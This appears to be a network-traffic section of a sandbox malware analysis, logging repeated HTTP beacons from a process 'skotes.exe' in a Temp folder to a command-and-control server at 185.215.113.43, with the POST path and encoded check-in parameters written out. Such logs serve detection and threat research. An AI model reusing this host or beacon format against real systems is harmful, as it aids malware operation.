Sep 25, 2024 10:35:17.177881956 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:18.574829102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 25, 2024 10:35:18.575447083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 25, 2024 10:35:18.575536966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	64747	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:20.213939905 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:20.941566944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	64748	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:22.460431099 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:23.164721966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	64749	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:24.805017948 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:25.505697966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	64750	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:27.059201956 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:27.761306047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	64752	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:29.397823095 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:30.303122044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	64753	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:31.819139957 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:32.615470886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	64754	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:34.241924047 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:34.937264919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	64755	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:36.459683895 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:37.158345938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	64756	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:38.788053989 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:39.515770912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	64757	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:41.224195957 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:41.917973042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	64758	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:43.556926966 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:44.267358065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	64759	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:45.792583942 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:46.501008987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	64760	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:48.148679018 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:48.837905884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	64761	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:50.360757113 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:51.065532923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	64762	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:52.705745935 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:53.512721062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	64763	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:55.152981997 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:55.867079020 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	64764	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:57.522469997 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:58.246817112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	64765	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:59.756391048 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:36:00.460374117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	64766	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:02.310892105 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:36:03.021708012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	64767	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:04.697995901 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:36:05.707675934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 25, 2024 10:36:05.707748890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	64768	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:07.335206032 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:36:08.036984921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	64769	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
